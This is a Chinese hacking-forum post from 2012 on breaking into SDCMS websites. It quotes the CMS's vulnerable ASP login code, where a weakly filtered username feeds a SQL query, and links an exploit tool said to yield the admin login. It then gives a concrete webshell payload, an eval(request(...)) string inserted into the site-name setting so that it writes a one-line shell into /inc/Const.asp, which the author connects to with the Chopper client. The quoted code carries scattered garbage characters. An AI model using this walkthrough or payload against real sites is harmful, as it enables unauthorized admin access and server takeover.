找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3496|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥& s$ }7 i0 b7 Y3 F
漏洞文件:后台目录/index.asp
8 `. f9 c: Y. P% U  y, w
8 o" f; |- y. ~8 q/ n# fSub Check) g" j* L" ?3 P, d/ I5 s
    Dim username,password,code,getcode,Rs
# c4 T6 u, d# V& o    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub* H) V3 [& L. y6 j- C# W
    username=FilterText(Trim(Request.Form("username")),1)& I3 z7 x' E1 k# W; v- Y
    password=FilterText(Trim(Request.Form("password")),1)
. N. J3 w5 P* W" v8 T# e    code=Trim(Request.Form("yzm"))
" o: Z+ n5 E& ^7 |! e  ?6 l. w    getcode=Session("SDCMSCode")# C7 S2 n3 u" t0 A, |+ O
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died& \2 V$ ]$ P$ g8 M
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied3 E; p, W6 |1 r& E( X+ l9 A' f
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied2 K% \3 F* q' @
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
! ^$ U7 w" C# {+ }4 q9 \8 f: \    IF username="" or password="" Then
% r0 f  R; D1 M% ]: G, {2 ?- z( U        Echo "用户名或密码不能为空"ied% A& {. d" \9 @1 p# Y; `! R
    Else6 w# \1 B% Q. v0 Z/ a" `1 U
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
6 d. e! ~, z7 K7 A- q4 r+ @1 U( p        IF Rs.Eof Then
2 j0 Z( H. W/ _4 e            AddLog username,GetIp,"登录失败",1
  ?4 L, Q/ l4 [1 H* ]8 `            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"( U: g1 l9 T9 `, [, E( `
        Else
) V7 m# Y5 N! P5 D0 J            Add_Cookies "sdcms_id",Rs(0)
: s. [, C0 \+ E6 T& ^            Add_Cookies "sdcms_name",username, [9 F5 Y- `5 R* X7 ~
            Add_Cookies "sdcms_pwd",Rs(2)3 u. }0 S3 e! c) v' [* x) F; \! o
            Add_Cookies "sdcms_admin",Rs(3)9 j  C5 r' O- Z4 G  E& K
            Add_Cookies "sdcms_alllever",Rs(4)
3 f" K& m! a, w* d/ T9 z            Add_Cookies "sdcms_infolever",Rs(5)
: W$ y+ P7 g8 o3 e( ?& b! n            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")# y0 W( D: t' i
            AddLog username,GetIp,"登录成功",1
$ @5 i6 T) T: N# p- W8 ^" q2 u" }            '自动删除30天前的Log记录; o% @9 m- I* }8 [/ x. Q' p& }/ j
            IF Sdcms_DataType Then2 i* G8 U: z, I+ F! G1 h' K: b" o
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30"): a- a% e+ b. j4 s7 _0 Q
            Else& C- d$ k# C( X* ]' q6 j
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
) a5 {2 ~8 L& \! o8 `0 f7 t8 ?) h( }            End IF
0 S  M) E0 D: A# k8 U            Go("sdcms_index.asp")
5 D: p% A+ _" @( J' H& t4 ?* d$ e        End IF  `5 J: E: e1 x* ^4 |& _7 b4 O& |
        Rs.Close$ K+ v; f$ }5 Y$ a
        Set Rs=Nothing
7 V& t% U/ ^- q( h! I    End IF
# `7 f$ i, X$ h; b( |End Sub) V4 \0 g2 f, U; [0 u
- i+ M' p. ?7 f* b
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码8 M# J5 z- l  \' Z' _5 N
; c+ a$ d3 j5 u; x
Function FilterText(ByVal t0,ByVal t1)" E; O8 a/ q& P6 F, q) X
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
/ ]. W  U$ \8 S    t0=Trim(t0)* S8 J, Q3 o) ^' W. w% q
    Select Case t1% v/ ^2 z8 P8 C  x
        Case "1"5 b# `3 G8 X$ C+ l1 t9 U7 q& k
            t0=Replace(t0,Chr(32),"")
  r  o( f: ^8 B) V            t0=Replace(t0,Chr(13),"")% L7 B3 R) x1 _* V: o5 I8 M
            t0=Replace(t0,Chr(10)&Chr(10),"")" s! p# l; w2 P& ^2 G
            t0=Replace(t0,Chr(10),"")' q' C# S# J! ~' B) D. E1 ~' x
        Case "2"  o, V' Q% G, K  ~
            t0=Replace(t0,Chr(8),"")'回格2 O# R! Q! P6 s6 {& m- t
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
) Y+ g; y% d8 U7 V9 l4 M            t0=Replace(t0,Chr(10),"")'换行
0 C: n; _) e+ Z; i% K) W            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)( R+ |1 b! |# g$ I9 |7 E
            t0=Replace(t0,Chr(12),"")'换页: A) ^) w5 W" u1 `9 Y2 u8 K/ ?: N
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
' v9 n: e: O( R! `            t0=Replace(t0,Chr(22),"")2 Y2 E0 y6 U$ M5 `7 z; L$ I
            t0=Replace(t0,Chr(32),"")'空格 SPACE" I- w" `" D( `" c. q! d
            t0=Replace(t0,Chr(33),"")'!* Y) Y( ]* ?; F8 }( i. _
            t0=Replace(t0,Chr(34),"")'"& u% t/ f- f; P0 F
            t0=Replace(t0,Chr(35),"")'#9 r# ^2 f# R( P+ |" m6 [# Z  R2 p
            t0=Replace(t0,Chr(36),"")'$
# K: p  S6 F; ?! R            t0=Replace(t0,Chr(37),"")'%; R  U. J$ P- I- E  p( V
            t0=Replace(t0,Chr(38),"")'&
; A" Q$ h- p1 @            t0=Replace(t0,Chr(39),"")''* s8 u% Q6 |+ ~& W0 A% @, z+ c( [
            t0=Replace(t0,Chr(40),"")'(. w& U3 n& k7 ?1 o. i  n
            t0=Replace(t0,Chr(41),"")')1 F0 L4 f0 `/ O. \0 k5 k
            t0=Replace(t0,Chr(42),"")'*" d2 @, A6 ~/ K5 u5 r
            t0=Replace(t0,Chr(43),"")'+( m* j  Q/ \) o8 E/ x+ l
            t0=Replace(t0,Chr(44),"")',
' c! G) L) ^! C- J& M            t0=Replace(t0,Chr(45),"")'-" b2 b* e* q0 r: [
            t0=Replace(t0,Chr(46),"")'.* @. H, S$ }8 h( z  t
            t0=Replace(t0,Chr(47),"")'/
4 ?. q; @: N* j- A7 t            t0=Replace(t0,Chr(58),"")':
; B+ Z5 a( l, c, [# D! J1 m! i            t0=Replace(t0,Chr(59),"")';4 T* N3 f9 [" J$ G2 l1 x' |4 q
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
: @; c7 T! X* J1 o# {5 Z! d+ p            t0=Replace(t0,Chr(63),"")'?1 g0 m+ i" J2 ^( ]; b! `8 }  ~& c
            t0=Replace(t0,Chr(64),"")'@* x' {0 D# B9 b
            t0=Replace(t0,Chr(91),"")'\% i2 b" G( I+ X7 _
            t0=Replace(t0,Chr(92),"")'\
( a8 h9 ~- T2 ?1 h6 v: P            t0=Replace(t0,Chr(93),"")']" b2 s" ^6 N/ W6 U3 a; E
            t0=Replace(t0,Chr(94),"")'^
: M$ }: {$ w, }) F- W) H            t0=Replace(t0,Chr(95),"")'_
, a- @# J5 R; [, J) q5 R& p+ E( Z            t0=Replace(t0,Chr(96),"")'`
& i, d: l; `! D            t0=Replace(t0,Chr(123),"")'{
- N9 J9 a# R3 P# `            t0=Replace(t0,Chr(124),"")'|- C% L" i5 V9 q6 l6 Y- R
            t0=Replace(t0,Chr(125),"")'}
4 [  D2 l( E* P            t0=Replace(t0,Chr(126),"")'~9 v2 f2 l' ]' [) G
    Case Else
8 }- Z/ U. c4 W2 g* G7 i4 k        t0=Replace(t0, "&", "&")
; C" e$ d' I4 M' {+ h        t0=Replace(t0, "'", "'")
3 y1 o- m8 L' t( _: Q2 M% A        t0=Replace(t0, """", """)9 B' _+ d* _/ k
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">"); Q4 I( g8 R$ q7 A" v  ^' c/ a! ?2 f
    End Select/ e% z3 E3 _5 a- t6 r4 e  _
    IF Instr(Lcase(t0),"expression")>0 Then0 b$ A0 o- d7 x1 C$ e* i3 r3 j9 E
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)- K0 x  M7 E: R
    End If
, f: f8 R& e2 L; n, b- N' x    FilterText=t0
" k* Y! C6 V# e" W2 W; SEnd Function  i$ P7 F" c/ Y$ U" Q

0 T4 U4 y' v1 i0 }- v看到没。直接参数是1 只过滤
% _, U0 O4 t2 E2 W3 c: G  W0 f                        t0=Replace(t0,Chr(32)," "): R* E$ E' H1 `7 d4 i
                        t0=Replace(t0,Chr(13),"")# B$ `) Q7 S/ ^+ F4 t  ]7 s+ ^9 r. x
                        t0=Replace(t0,Chr(10)&Chr(10),"
/ f; z" @+ s1 {! O")
' j0 C; e4 L6 e$ V9 F, B8 q                        t0=Replace(t0,Chr(10),"
" H: P6 N8 ~' z$ G( E! [1 v9 h")
& i' h' I* Y8 J) e; |' @! ^% }漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!, ?$ h% w; P5 l: y: l
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP% r! y# c: U* j. ]) J+ h

& z0 P- }7 Z! U5 w/ V. r+ q测试:0 f- k% [; s' `2 D! U; m4 ?; h
, _4 o! a$ w# T3 x# a% ]0 H$ i# m/ S
0 \2 j. F  Z+ G: I# p$ I* b2 X+ b% }1 }
现在输入工具上验证码,然后点OK) l2 ^* s) l/ g3 x! M
3 q% i  l) S$ o  k4 M" p6 f. Z
$ o- Y5 q9 O$ P$ e3 N$ N$ o& a9 H
看到我们直接进入后台管理界面了,呵呵!, D, T4 m+ z" t% Y5 o3 u
% E, v& o" e' [1 V# c* f  n9 K! V

% f# |' |5 ]6 \9 H# o
. p& k1 P0 E5 T# H; l1 K( p这样直接进入后台了。。。。) }# ?( a  b$ _+ T* `# ^1 p
/ f5 b$ M4 U( M" w# |9 y

3 W: P' p* d0 P1 s) \4 K. i6 [4 a" Y6 |7 Q* @2 ^% |; r$ p9 M
SDCMS提权:
9 c$ M& x& K$ i- E; b* f/ E
  q6 _8 |  M0 E6 b$ U方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
3 R/ P' T% s: E3 M% {. ]' Y" F0 V, i0 S2 Z/ M& e( R* P+ x
8 n' W1 H2 s6 ?/ m
2 {2 n; s/ r+ b4 v& d% \- A
OK,现在用菜刀连接下!* t' H) C; \  m0 Q
! t+ b' S* o. R4 ~+ s) f- |

+ U" `3 [! X7 a' }) q0 A" z$ F9 A" V1 r
% @* f' r  S3 W( V" c+ k; D6 U

" _5 u- G! U% c$ q/ @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表